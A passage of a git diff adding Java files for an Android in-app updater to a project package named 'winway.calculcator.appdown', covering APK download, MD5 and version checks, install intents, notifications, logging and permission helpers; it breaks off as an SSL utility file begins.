if(!TextUtils.isEmpty(apkMD5)){//如果存在MD5,则优先校验MD5 + LogUtils.d(String.format(Locale.getDefault(),"UpdateConfig.apkMD5:%s",apkMD5)); + isExistApk = AppUtils.checkFileMD5(mApkFile,apkMD5); + }else if(versionCode != null){//如果存在versionCode,则校验versionCode + LogUtils.d(String.format(Locale.getDefault(),"UpdateConfig.versionCode:%d",versionCode)); + isExistApk = AppUtils.apkExists(getContext(),versionCode,mApkFile); + } + + if(isExistApk){ + //本地已经存在要下载的APK + LogUtils.d("CacheFile:" + mApkFile); + if(config.isInstallApk()){ + String authority = config.getAuthority(); + if(TextUtils.isEmpty(authority)){//如果为空则默认 + authority = AppUtils.getFileProviderAuthority(getContext()); + } + AppUtils.installApk(getContext(), mApkFile, authority); + } + if(callback != null){ + callback.onFinish(mApkFile); + } + stopService(); + return; + } + + //删除旧文件 + mApkFile.delete(); + } + LogUtils.d("File:" + mApkFile); + + mHttpManager = httpManager != null ? httpManager : HttpManager.getInstance(); + IHttpManager.DownloadCallback downloadCallback = new AppDownloadCallback(getContext(),this, config, mApkFile, callback, notification); + mHttpManager.download(url,path,filename,config.getRequestProperty(), downloadCallback); + + } + + /** + * 停止下载 + */ + public void stopDownload(){ + if(mHttpManager != null){ + mHttpManager.cancel(); + } + } + + /** + * 获取缓存路径 + * @param context + * @return + */ + private String getCacheFilesDir(Context context) { + File[] files = ContextCompat.getExternalFilesDirs(context, Constants.DEFAULT_DIR); + if(files != null && files.length > 0){ + return files[0].getAbsolutePath(); + } + + File externalFilesDir = context.getExternalFilesDir(Constants.DEFAULT_DIR); + if(externalFilesDir != null){ + return externalFilesDir.getAbsolutePath(); + } + + return new File(context.getFilesDir(), Constants.DEFAULT_DIR).getAbsolutePath(); + + } + + /** + * 停止服务 + */ + private void stopService(){ + mCount = 0; + stopSelf(); + } + + + //---------------------------------------- DownloadCallback + + /** + * App下载回调接口 + */ + public static class AppDownloadCallback implements IHttpManager.DownloadCallback { + + private Context context; + + private DownloadService downloadService; + + public UpdateConfig config; + + private boolean isShowNotification; + + private int notifyId; + + private String channelId; + + private String channelName; + + private int notificationIcon; + + private boolean isInstallApk; + + private String authority; + + private boolean isShowPercentage; + + private boolean isReDownload; + + private boolean isDeleteCancelFile; + + private boolean isCancelDownload; + + private UpdateCallback callback; + + private INotification notification; + + /** + * 最后更新进度,用来降频刷新 + */ + private int lastProgress; + /** + * 最后进度更新时间,用来降频刷新 + */ + private long lastTime; + /** + * APK文件 + */ + private File apkFile; + + + private AppDownloadCallback(Context context, DownloadService downloadService, UpdateConfig config, File apkFile, UpdateCallback callback, INotification notification){ + this.context = context; + this.downloadService = downloadService; + this.config = config; + this.apkFile = apkFile; + this.callback = callback; + this.notification = notification; + this.isShowNotification = config.isShowNotification(); + this.notifyId = config.getNotificationId(); + + if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.O){ + this.channelId = TextUtils.isEmpty(config.getChannelId()) ? Constants.DEFAULT_NOTIFICATION_CHANNEL_ID : config.getChannelId(); + this.channelName = TextUtils.isEmpty(config.getChannelName()) ? Constants.DEFAULT_NOTIFICATION_CHANNEL_NAME : config.getChannelName(); + } + if(config.getNotificationIcon() <= 0){ + this.notificationIcon = AppUtils.getAppIcon(context); + }else{ + this.notificationIcon = config.getNotificationIcon(); + } + + this.isInstallApk = config.isInstallApk(); + + this.authority = config.getAuthority(); + if(TextUtils.isEmpty(config.getAuthority())){//如果为空则默认 + authority = AppUtils.getFileProviderAuthority(context); + } + + this.isShowPercentage = config.isShowPercentage(); + this.isDeleteCancelFile = config.isDeleteCancelFile(); + this.isCancelDownload = config.isCancelDownload(); + + //支持下载失败时重新下载,当重新下载次数不超过限制时才被允许 + this.isReDownload = config.isReDownload() && downloadService.mCount < config.getReDownloads(); + + } + + @Override + public void onStart(String url) { + LogUtils.i("url:" + url); + downloadService.isDownloading = true; + lastProgress = 0; + if(isShowNotification && notification != null){ + String title=""; + if(Constants.isUpdate){ + title = getString(R.string.app_updater_start_notification_title); + }else{ + title = getString(R.string.app_updater_start_notification_title_2); + } + notification.onStart(context,notifyId,channelId,channelName,notificationIcon,title,getString(R.string.app_updater_start_notification_content),config.isVibrate(),config.isSound(),isCancelDownload); + } + + if(callback != null){ + callback.onStart(url); + } + } + + @Override + public void onProgress(long progress, long total) { + boolean isChange = false; + long curTime = System.currentTimeMillis(); + if(lastTime + 200 < curTime || progress == total) {//降低更新频率 + lastTime = curTime; + + int currProgress = Math.round(progress * 1.0f / total * 100.0f); + if(currProgress != lastProgress){//百分比改变了才更新 + isChange = true; + lastProgress = currProgress; + String percentage = currProgress + "%"; + LogUtils.i(String.format(Locale.getDefault(),"%s \t(%d/%d)", percentage, progress, total)); + if(isShowNotification && notification != null) { + String content = context.getString(R.string.app_updater_progress_notification_content); + if (isShowPercentage) { + content += percentage; + } + String title=""; + if(Constants.isUpdate){ + title = getString(R.string.app_updater_progress_notification_title); + }else{ + title = getString(R.string.app_updater_progress_notification_title_2); + } + notification.onProgress(context,notifyId, channelId, notificationIcon, title, content, currProgress, 100,isCancelDownload); + } + } + } + + if(callback != null){ + callback.onProgress(progress,total,isChange); + } + } + + @Override + public void onFinish(File file) { + LogUtils.d("File:" + file); + downloadService.isDownloading = false; + if(isShowNotification && notification != null){ + notification.onFinish(context,notifyId,channelId,notificationIcon,getString(R.string.app_updater_finish_notification_title),getString(R.string.app_updater_finish_notification_content),file,authority); + } + if(isInstallApk){ + AppUtils.installApk(context,file,authority); + } + if(callback != null){ + callback.onFinish(file); + } + downloadService.stopService(); + } + + @Override + public void onError(Exception e) { + LogUtils.w(e.getMessage()); + downloadService.isDownloading = false; + if(isShowNotification && notification != null){ + String content = isReDownload ? getString(R.string.app_updater_error_notification_content_re_download) : getString(R.string.app_updater_error_notification_content); + notification.onError(context,notifyId,channelId,notificationIcon,getString(R.string.app_updater_error_notification_title),content,isReDownload,config); + } + + if(callback != null){ + callback.onError(e); + } + if(!isReDownload){ + downloadService.stopService(); + } + + } + + @Override + public void onCancel() { + LogUtils.d("Cancel download."); + downloadService.isDownloading = false; + if(isShowNotification && notification != null){ + notification.onCancel(context,notifyId); + } + if(callback != null){ + callback.onCancel(); + } + if(isDeleteCancelFile && apkFile != null){ + apkFile.delete(); + } + downloadService.stopService(); + } + + private String getString(@StringRes int resId){ + return context.getString(resId); + } + } + + @Override + public void onDestroy() { + isDownloading = false; + mHttpManager = null; + super.onDestroy(); + } + + //---------------------------------------- Binder + + @Nullable + @Override + public IBinder onBind(Intent intent) { + return mDownloadBinder; + } + + /** + * 提供绑定服务的方式进行下载 + */ + public class DownloadBinder extends Binder { + + /** + * 开始下载 + * @param config {@link UpdateConfig} + */ + public void start(@NonNull UpdateConfig config){ + start(config,null); + } + + /** + * 开始下载 + * @param config {@link UpdateConfig} + * @param callback {@link UpdateCallback} + */ + public void start(@NonNull UpdateConfig config, @Nullable UpdateCallback callback){ + start(config,null, callback); + } + + /** + * 开始下载 + * @param config {@link UpdateConfig} + * @param httpManager {@link IHttpManager} + * @param callback {@link UpdateCallback} + */ + public void start(@NonNull UpdateConfig config, @Nullable IHttpManager httpManager, @Nullable UpdateCallback callback){ + start(config, httpManager, callback, new NotificationImpl()); + } + + /** + * 开始下载 + * @param config {@link UpdateConfig} + * @param httpManager {@link IHttpManager} + * @param callback {@link UpdateCallback} + * @param notification {@link INotification} + */ + public void start(@NonNull UpdateConfig config, @Nullable IHttpManager httpManager, @Nullable UpdateCallback callback,@NonNull INotification notification){ + startDownload(config, httpManager, callback, notification); + } + } + + +} \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/appdown/util/AppUtils.java b/winway/src/main/java/winway/calculcator/appdown/util/AppUtils.java new file mode 100644 index 0000000..1ea625a --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/util/AppUtils.java @@ -0,0 +1,264 @@ +package winway.calculcator.appdown.util; + +import android.content.ContentResolver; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.content.res.AssetFileDescriptor; +import android.net.Uri; +import android.os.Build; +import android.text.TextUtils; +import android.util.Log; + +import androidx.core.content.FileProvider; + + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.math.BigInteger; +import java.security.MessageDigest; + +import winway.calculcator.appdown.constant.Constants; + + +/** + * @author Jenly Jenly + */ +public final class AppUtils { + + private AppUtils(){ + throw new AssertionError(); + } + + /** + * 通过url获取App的全名称 + * @param context + * @return AppName.apk + */ + public static String getAppFullName(Context context,String url,String defaultName){ + if(url.endsWith(".apk")){ + String apkName = url.substring(url.lastIndexOf("/") + 1); + if(apkName.length() <= 64){ + return apkName; + } + } + + String filename = getAppName(context); + Log.d(Constants.TAG, "AppName:" + filename); + if(TextUtils.isEmpty(filename)){ + filename = defaultName; + } + if(filename.endsWith(".apk")){ + return filename; + } + return String.format("%s.apk",filename); + } + + /** + * 获取包信息 + * @param context + * @return + * @throws PackageManager.NameNotFoundException + */ + public static PackageInfo getPackageInfo(Context context) throws PackageManager.NameNotFoundException { + PackageManager packageManager = context.getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(context.getPackageName(), 0); + return packageInfo; + } + + /** + * 通过APK路径获取包信息 + * @param context + * @param archiveFilePath + * @return + */ + public static PackageInfo getPackageInfo(Context context, String archiveFilePath) { + PackageManager packageManager = context.getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageArchiveInfo(archiveFilePath, PackageManager.GET_ACTIVITIES); + return packageInfo; + } + + + /** + * 获取App的名称 + */ + public static String getAppName(Context context) { + try{ + int labelRes = getPackageInfo(context).applicationInfo.labelRes; + return context.getResources().getString(labelRes); + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + + /** + * 获取App的图标 + * @param context + * @return + */ + public static int getAppIcon(Context context){ + try{ + return getPackageInfo(context).applicationInfo.icon; + } catch (Exception e) { + e.printStackTrace(); + } + return 0; + } + + /** + * 安装apk + * @param context + * @param file + */ + public static void installApk(Context context,File file,String authority){ + Intent intent = getInstallIntent(context,file,authority); + context.startActivity(intent); + } + + /** + * 获取安装Intent + * @param context + * @param file + * @param authority + * @return + */ + public static Intent getInstallIntent(Context context,File file,String authority){ + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.addCategory(Intent.CATEGORY_DEFAULT); + Uri uriData; + String type = "application/vnd.android.package-archive"; + if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.N){ + intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); + uriData = FileProvider.getUriForFile(context, authority, file); + }else{ + uriData = Uri.fromFile(file); + } + intent.setDataAndType(uriData, type); + return intent; + } + + /** + * APK是否存在 + * @param context + * @param versionCode + * @param file + * @return + * @throws Exception + */ + public static boolean apkExists(Context context,int versionCode,File file){ + if(file != null && file.exists()){ + String packageName = context.getPackageName(); + PackageInfo packageInfo = AppUtils.getPackageInfo(context,file.getAbsolutePath()); + if(packageInfo != null){// 比对versionCode + Log.d(Constants.TAG,String.format("ApkVersionCode:%d",packageInfo.versionCode)); + if(versionCode == packageInfo.versionCode){ + ApplicationInfo applicationInfo = packageInfo.applicationInfo; + if(applicationInfo != null && packageName.equals(applicationInfo.packageName)){//比对packageName + return true; + } + } + } + } + return false; + } + + /** + * 判断文件是否存在 + * @param context + * @param path + * @return + */ + public static boolean isAndroidQFileExists(Context context,String path){ + return isAndroidQFileExists(context,new File(path)); + } + + /** + * 判断文件是否存在 + * @param context + * @param file + * @return + */ + public static boolean isAndroidQFileExists(Context context,File file){ + AssetFileDescriptor descriptor = null; + ContentResolver contentResolver = context.getContentResolver(); + try { + Uri uri = Uri.fromFile(file); + descriptor = contentResolver.openAssetFileDescriptor(uri, "r"); + if (descriptor == null) { + return false; + } else { + close(descriptor); + } + return true; + } catch (FileNotFoundException e) { + + }finally { + close(descriptor); + } + return false; + } + + /** + * 校验文件MD5 + * @param file + * @param md5 + * @return + */ + public static boolean checkFileMD5(File file,String md5){ + String fileMD5 = getFileMD5(file); + Log.d(Constants.TAG,"FileMD5:"+ fileMD5); + if(!TextUtils.isEmpty(md5)){ + return md5.equalsIgnoreCase(fileMD5); + } + + return false; + } + + /** + * 获取文件MD5 + * @param file + * @return + */ + public static String getFileMD5(File file){ + try { + FileInputStream fis = new FileInputStream(file); + MessageDigest messageDigest = MessageDigest.getInstance("MD5"); + byte[] buffer = new byte[1024]; + int length; + while ((length = fis.read(buffer)) != -1){ + messageDigest.update(buffer,0,length); + } + BigInteger bigInteger = new BigInteger(1,messageDigest.digest()); + return bigInteger.toString(16); + } catch (Exception e) { + e.printStackTrace(); + } + + return null; + } + + public static String getFileProviderAuthority(Context context){ + return context.getPackageName() + Constants.DEFAULT_FILE_PROVIDER; + } + + /** + * 关闭 + * @param descriptor + */ + private static void close(AssetFileDescriptor descriptor){ + if(descriptor != null){ + try { + descriptor.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + } + +} \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/appdown/util/LogUtils.java b/winway/src/main/java/winway/calculcator/appdown/util/LogUtils.java new file mode 100644 index 0000000..84f90f3 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/util/LogUtils.java @@ -0,0 +1,316 @@ +/* + Copyright © 2015, 2016 Jenly Yu Jenly + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + + */ +package winway.calculcator.appdown.util; + + +import android.util.Log; + +import java.util.Locale; + +/** + * @author Jenly Jenly + */ +public class LogUtils { + + public static final String TAG = "AppUpdater"; + + public static final String VERTICAL = "|"; + + /** 是否显示Log日志 */ + private static boolean isShowLog = true; + + /** Log日志优先权 */ + private static int priority = 1; + + /** + * Priority constant for the println method;use System.out.println + */ + public static final int PRINTLN = 1; + + /** + * Priority constant for the println method; use Log.v. + */ + public static final int VERBOSE = 2; + + /** + * Priority constant for the println method; use Log.d. + */ + public static final int DEBUG = 3; + + /** + * Priority constant for the println method; use Log.i. + */ + public static final int INFO = 4; + + /** + * Priority constant for the println method; use Log.w. + */ + public static final int WARN = 5; + + /** + * Priority constant for the println method; use Log.e. + */ + public static final int ERROR = 6; + + /** + * Priority constant for the println method.use Log.wtf. + */ + public static final int ASSERT = 7; + + public static final String TAG_FORMAT = "%s.%s(%s:%d)"; + + private LogUtils(){ + throw new AssertionError(); + } + + public static void setShowLog(boolean isShowLog) { + + LogUtils.isShowLog = isShowLog; + } + + public static boolean isShowLog() { + + return isShowLog; + } + + public static int getPriority() { + + return priority; + } + + public static void setPriority(int priority) { + + LogUtils.priority = priority; + } + + /** + * 根据堆栈生成TAG + * @return TAG|className.methodName(fileName:lineNumber) + */ + private static String generateTag(StackTraceElement caller) { + String tag = TAG_FORMAT; + String callerClazzName = caller.getClassName(); + callerClazzName = callerClazzName.substring(callerClazzName.lastIndexOf(".") + 1); + tag = String.format(Locale.getDefault(),tag,callerClazzName, caller.getMethodName(),caller.getFileName(),caller.getLineNumber()); + return new StringBuilder().append(TAG).append(VERTICAL).append(tag).toString(); + } + + /** + * 获取堆栈 + * @param n + * n=0 VMStack + * n=1 Thread + * n=3 CurrentStack + * n=4 CallerStack + * ... + * @return + */ + public static StackTraceElement getStackTraceElement(int n) { + return Thread.currentThread().getStackTrace()[n]; + } + + /** + * 获取调用方的堆栈TAG + * @return + */ + private static String getCallerStackLogTag(){ + return generateTag(getStackTraceElement(5)); + } + + /** + * + * @param t + * @return + */ + private static String getStackTraceString(Throwable t){ + return Log.getStackTraceString(t); + } + + // -----------------------------------Log.v + + /** + * Log.v + * @param msg + */ + public static void v(String msg) { + if (isShowLog && priority <= VERBOSE) + Log.v(getCallerStackLogTag(), String.valueOf(msg)); + + } + + public static void v(Throwable t) { + if (isShowLog && priority <= VERBOSE) + Log.v(getCallerStackLogTag(), getStackTraceString(t)); + } + + public static void v(String msg,Throwable t) { + if (isShowLog && priority <= VERBOSE) + Log.v(getCallerStackLogTag(), String.valueOf(msg), t); + } + + // -----------------------------------Log.d + + /** + * Log.d + * @param msg + */ + public static void d(String msg) { + if (isShowLog && priority <= DEBUG) + Log.d(getCallerStackLogTag(), String.valueOf(msg)); + } + + public static void d(Throwable t) { + if (isShowLog && priority <= DEBUG) + Log.d(getCallerStackLogTag(), getStackTraceString(t)); + } + + public static void d(String msg,Throwable t) { + if (isShowLog && priority <= DEBUG) + Log.d(getCallerStackLogTag(), String.valueOf(msg), t); + } + + // -----------------------------------Log.i + + /** + * Log.i + * @param msg + */ + public static void i(String msg) { + if (isShowLog && priority <= INFO) + Log.i(getCallerStackLogTag(), String.valueOf(msg)); + } + + public static void i(Throwable t) { + if (isShowLog && priority <= INFO) + Log.i(getCallerStackLogTag(), getStackTraceString(t)); + } + + public static void i(String msg,Throwable t) { + if (isShowLog && priority <= INFO) + Log.i(getCallerStackLogTag(), String.valueOf(msg), t); + } + + // -----------------------------------Log.w + + /** + * Log.w + * @param msg + */ + public static void w(String msg) { + if (isShowLog && priority <= WARN) + Log.w(getCallerStackLogTag(), String.valueOf(msg)); + } + + public static void w(Throwable t) { + if (isShowLog && priority <= WARN) + Log.w(getCallerStackLogTag(), getStackTraceString(t)); + } + + public static void w(String msg,Throwable t) { + if (isShowLog && priority <= WARN) + Log.w(getCallerStackLogTag(), String.valueOf(msg), t); + } + + // -----------------------------------Log.e + + /** + * Log.e + * @param msg + */ + public static void e(String msg) { + if (isShowLog && priority <= ERROR) + Log.e(getCallerStackLogTag(), String.valueOf(msg)); + } + + public static void e(Throwable t) { + if (isShowLog && priority <= ERROR) + Log.e(getCallerStackLogTag(), getStackTraceString(t)); + } + + public static void e(String msg,Throwable t) { + if (isShowLog && priority <= ERROR) + Log.e(getCallerStackLogTag(), String.valueOf(msg), t); + } + + // -----------------------------------Log.wtf + + /** + * Log.wtf + * @param msg + */ + public static void wtf(String msg) { + if (isShowLog && priority <= ASSERT) + Log.wtf(getCallerStackLogTag(), String.valueOf(msg)); + } + + public static void wtf(Throwable t) { + if (isShowLog && priority <= ASSERT) + Log.wtf(getCallerStackLogTag(), getStackTraceString(t)); + } + + public static void wtf(String msg,Throwable t) { + if (isShowLog && priority <= ASSERT) + Log.wtf(getCallerStackLogTag(), String.valueOf(msg), t); + } + + // -----------------------------------System.out.print + + /** + * System.out.print + * + * @param msg + */ + public static void print(String msg) { + if (isShowLog && priority <= PRINTLN) + System.out.print(msg); + } + + public static void print(Object obj) { + if (isShowLog && priority <= PRINTLN) + System.out.print(obj); + } + + // -----------------------------------System.out.printf + + /** + * System.out.printf + * + * @param msg + */ + public static void printf(String msg) { + if (isShowLog && priority <= PRINTLN) + System.out.printf(msg); + } + + // -----------------------------------System.out.println + + /** + * System.out.println + * + * @param msg + */ + public static void println(String msg) { + if (isShowLog && priority <= PRINTLN) + System.out.println(msg); + } + + public static void println(Object obj) { + if (isShowLog && priority <= PRINTLN) + System.out.println(obj); + } + +} diff --git a/winway/src/main/java/winway/calculcator/appdown/util/NotificationUtils.java b/winway/src/main/java/winway/calculcator/appdown/util/NotificationUtils.java new file mode 100644 index 0000000..789e097 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/util/NotificationUtils.java @@ -0,0 +1,261 @@ +package winway.calculcator.appdown.util; + +import android.app.Notification; +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.Context; +import android.content.Intent; +import android.os.Build; + +import androidx.annotation.DrawableRes; +import androidx.annotation.RequiresApi; +import androidx.core.app.NotificationCompat; + + +import java.io.File; + +import winway.calculcator.appdown.UpdateConfig; +import winway.calculcator.appdown.constant.Constants; +import winway.calculcator.appdown.service.DownloadService; + +/** + * @author Jenly + */ +public class NotificationUtils { + + private NotificationUtils(){ + throw new AssertionError(); + } + + /** + * 显示开始下载时的通知 + * @param notifyId + * @param channelId + * @param channelName + * @param icon + * @param title + * @param content + */ + public static void showStartNotification(Context context, int notifyId,String channelId, String channelName,@DrawableRes int icon,CharSequence title,CharSequence content,boolean isVibrate,boolean isSound, boolean isCancelDownload){ + if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.O){ + createNotificationChannel(context,channelId,channelName,isVibrate,isSound); + } + NotificationCompat.Builder builder = buildNotification(context,channelId,icon,title,content); + builder.setPriority(NotificationCompat.PRIORITY_DEFAULT); + if(isVibrate && isSound){ + builder.setDefaults(Notification.DEFAULT_VIBRATE | Notification.DEFAULT_SOUND); + }else if(isVibrate){ + builder.setDefaults(Notification.DEFAULT_VIBRATE); + }else if(isSound){ + builder.setDefaults(Notification.DEFAULT_SOUND); + } + + if(isCancelDownload){ + Intent intent = new Intent(context, DownloadService.class); + intent.putExtra(Constants.KEY_STOP_DOWNLOAD_SERVICE,true); + PendingIntent deleteIntent = PendingIntent.getService(context, notifyId,intent, getPendingIntentFlags(PendingIntent.FLAG_CANCEL_CURRENT)); + builder.setDeleteIntent(deleteIntent); + } + + Notification notification = builder.build(); + if(isCancelDownload){ + notification.flags = Notification.FLAG_ONLY_ALERT_ONCE; + }else{ + notification.flags = Notification.FLAG_NO_CLEAR | Notification.FLAG_ONLY_ALERT_ONCE; + } + + notifyNotification(context,notifyId,notification); + } + + /** + * 显示下载中的通知(更新进度) + * @param notifyId + * @param channelId + * @param icon + * @param title + * @param content + * @param progress + * @param size + */ + public static void showProgressNotification(Context context, int notifyId,String channelId,@DrawableRes int icon,CharSequence title,CharSequence content,int progress,int size, boolean isCancelDownload){ + NotificationCompat.Builder builder = buildNotification(context,channelId,icon,title,content,progress,size); + + if(isCancelDownload){ + Intent intent = new Intent(context, DownloadService.class); + intent.putExtra(Constants.KEY_STOP_DOWNLOAD_SERVICE,true); + PendingIntent deleteIntent = PendingIntent.getService(context, notifyId, intent, getPendingIntentFlags(PendingIntent.FLAG_CANCEL_CURRENT)); + builder.setDeleteIntent(deleteIntent); + } + + Notification notification = builder.build(); + + if(isCancelDownload){ + notification.flags = Notification.FLAG_ONLY_ALERT_ONCE; + }else{ + notification.flags = Notification.FLAG_NO_CLEAR | Notification.FLAG_ONLY_ALERT_ONCE; + } + + notifyNotification(context,notifyId,notification); + } + + /** + * 显示下载完成时的通知(点击安装) + * @param notifyId + * @param channelId + * @param icon + * @param title + * @param content + * @param file + */ + public static void showFinishNotification(Context context, int notifyId, String channelId, @DrawableRes int icon, CharSequence title, CharSequence content, File file, String authority){ + cancelNotification(context,notifyId); + NotificationCompat.Builder builder = buildNotification(context,channelId,icon,title,content); + builder.setAutoCancel(true); + Intent intent = AppUtils.getInstallIntent(context,file,authority); + PendingIntent clickIntent = PendingIntent.getActivity(context, notifyId, intent, getPendingIntentFlags(PendingIntent.FLAG_UPDATE_CURRENT)); + builder.setContentIntent(clickIntent); + Notification notification = builder.build(); + notification.flags = Notification.FLAG_AUTO_CANCEL; + notifyNotification(context,notifyId,notification); + } + + /** + * 现在下载失败通知 + * @param context + * @param notifyId + * @param channelId + * @param icon + * @param title + * @param content + * @param isReDownload + * @param config + */ + public static void showErrorNotification(Context context, int notifyId, String channelId, @DrawableRes int icon, CharSequence title, CharSequence content, boolean isReDownload, UpdateConfig config){ + NotificationCompat.Builder builder = buildNotification(context,channelId,icon,title,content); + builder.setAutoCancel(true); + int flag = getPendingIntentFlags(PendingIntent.FLAG_UPDATE_CURRENT); + if(isReDownload){// 重新下载 + Intent intent = new Intent(context, DownloadService.class); + intent.putExtra(Constants.KEY_RE_DOWNLOAD,true); + intent.putExtra(Constants.KEY_UPDATE_CONFIG,config); + PendingIntent clickIntent = PendingIntent.getService(context, notifyId,intent, flag); + builder.setContentIntent(clickIntent); + }else{ + PendingIntent clickIntent = PendingIntent.getService(context, notifyId, new Intent(), flag); + builder.setContentIntent(clickIntent); + } + + Notification notification = builder.build(); + notification.flags = Notification.FLAG_AUTO_CANCEL; + notifyNotification(context,notifyId,notification); + } + + + /** + * 显示通知信息(非第一次) + * @param notifyId + * @param channelId + * @param icon + * @param title + * @param content + */ + public static void showNotification(Context context, int notifyId,String channelId,@DrawableRes int icon,CharSequence title,CharSequence content,boolean isAutoCancel){ + NotificationCompat.Builder builder = buildNotification(context,channelId,icon,title,content); + builder.setAutoCancel(isAutoCancel); + Notification notification = builder.build(); + notification.flags = Notification.FLAG_AUTO_CANCEL; + notifyNotification(context,notifyId,notification); + } + + /** + * 取消通知 + * @param notifyId + */ + public static void cancelNotification(Context context, int notifyId){ + getNotificationManager(context).cancel(notifyId); + } + + + /** + * 获取通知管理器 + * @return + */ + public static NotificationManager getNotificationManager(Context context){ + return (NotificationManager)context.getSystemService(Context.NOTIFICATION_SERVICE); + } + + /** + * 创建一个通知渠道(兼容0以上版本) + * @param channelId + * @param channelName + */ + @RequiresApi(api = Build.VERSION_CODES.O) + public static void createNotificationChannel(Context context, String channelId, String channelName,boolean isVibrate,boolean isSound){ + NotificationChannel channel = new NotificationChannel(channelId,channelName, NotificationManager.IMPORTANCE_HIGH); + channel.enableVibration(isVibrate); + if(!isSound){ + channel.setSound(null,null); + } + getNotificationManager(context).createNotificationChannel(channel); + + } + + /** + * 构建一个通知构建器 + * @param channelId + * @param icon + * @param title + * @param content + * @return + */ + private static NotificationCompat.Builder buildNotification(Context context, String channelId, @DrawableRes int icon,CharSequence title,CharSequence content){ + return buildNotification(context,channelId,icon,title,content,Constants.NONE,Constants.NONE); + } + + /** + * 构建一个通知构建器 + * @param channelId + * @param icon + * @param title + * @param content + * @param progress + * @param size + * @return + */ + private static NotificationCompat.Builder buildNotification(Context context, String channelId, @DrawableRes int icon, CharSequence title, CharSequence content, int progress, int size){ + NotificationCompat.Builder builder = new NotificationCompat.Builder(context,channelId); + builder.setSmallIcon(icon); + + builder.setContentTitle(title); + builder.setContentText(content); + builder.setOngoing(true); + + if(progress != Constants.NONE && size != Constants.NONE){ + builder.setProgress(size,progress,false); + } + + return builder; + } + + /** + * 更新通知栏 + * @param id + * @param notification + */ + private static void notifyNotification(Context context, int id, Notification notification){ + getNotificationManager(context).notify(id,notification); + } + + /** + * 获取 PendingIntent 的 flags + * @param flag + * @return + */ + private static int getPendingIntentFlags(int flag){ + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + return flag | PendingIntent.FLAG_IMMUTABLE; + } + return flag; + } +} diff --git a/winway/src/main/java/winway/calculcator/appdown/util/PermissionUtils.java b/winway/src/main/java/winway/calculcator/appdown/util/PermissionUtils.java new file mode 100644 index 0000000..116f6e4 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/util/PermissionUtils.java @@ -0,0 +1,92 @@ +package winway.calculcator.appdown.util; + +import android.Manifest; +import android.app.Activity; +import android.app.AppOpsManager; +import android.app.NotificationManager; +import android.content.Context; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.os.Build; + +import androidx.annotation.NonNull; +import androidx.core.app.ActivityCompat; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author Jenly Jenly + */ +public final class PermissionUtils { + + private PermissionUtils() { + throw new AssertionError(); + } + + /** + * 校验权限 + * + * @param activity + * @param requestCode + * @return + */ + public static boolean verifyReadAndWritePermissions(@NonNull Activity activity, int requestCode) { + if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.M){ + int readResult = checkPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE); + int writeResult = checkPermission(activity, Manifest.permission.WRITE_EXTERNAL_STORAGE); + if (readResult != PackageManager.PERMISSION_GRANTED || writeResult != PackageManager.PERMISSION_GRANTED) { + ActivityCompat.requestPermissions(activity, new String[]{ + Manifest.permission.READ_EXTERNAL_STORAGE, + Manifest.permission.WRITE_EXTERNAL_STORAGE}, requestCode); + return false; + } + } + return true; + } + + public static int checkPermission(@NonNull Activity activity, @NonNull String permission) { + return ActivityCompat.checkSelfPermission(activity, permission); + } + + /** + * 获取通知权限 + * + * @param context + */ + public static boolean isNotificationEnabled(Context context) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + NotificationManager notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE); + if (notificationManager.getImportance() == NotificationManager.IMPORTANCE_NONE) { + return false; + } + } + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { + String CHECK_OP_NO_THROW = "checkOpNoThrow"; + String OP_POST_NOTIFICATION = "OP_POST_NOTIFICATION"; + + AppOpsManager mAppOps = (AppOpsManager) context.getSystemService(Context.APP_OPS_SERVICE); + ApplicationInfo appInfo = context.getApplicationInfo(); + String pkg = context.getApplicationContext().getPackageName(); + int uid = appInfo.uid; + + try { + Class appOpsClass = Class.forName(AppOpsManager.class.getName()); + Method checkOpNoThrowMethod = appOpsClass.getMethod(CHECK_OP_NO_THROW, Integer.TYPE, Integer.TYPE, String.class); + Field opPostNotificationValue = appOpsClass.getDeclaredField(OP_POST_NOTIFICATION); + + int value = (Integer) opPostNotificationValue.get(Integer.class); + return ((Integer) checkOpNoThrowMethod.invoke(mAppOps, value, uid, pkg) == AppOpsManager.MODE_ALLOWED); + + } catch (Exception e) { + e.printStackTrace(); + } + + return false; + } + + return true; + } + +} \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/appdown/util/SSLSocketFactoryUtils.java b/winway/src/main/java/winway/calculcator/appdown/util/SSLSocketFactoryUtils.java new file mode 100644 index 0000000..748c3be --- /dev/null +++ 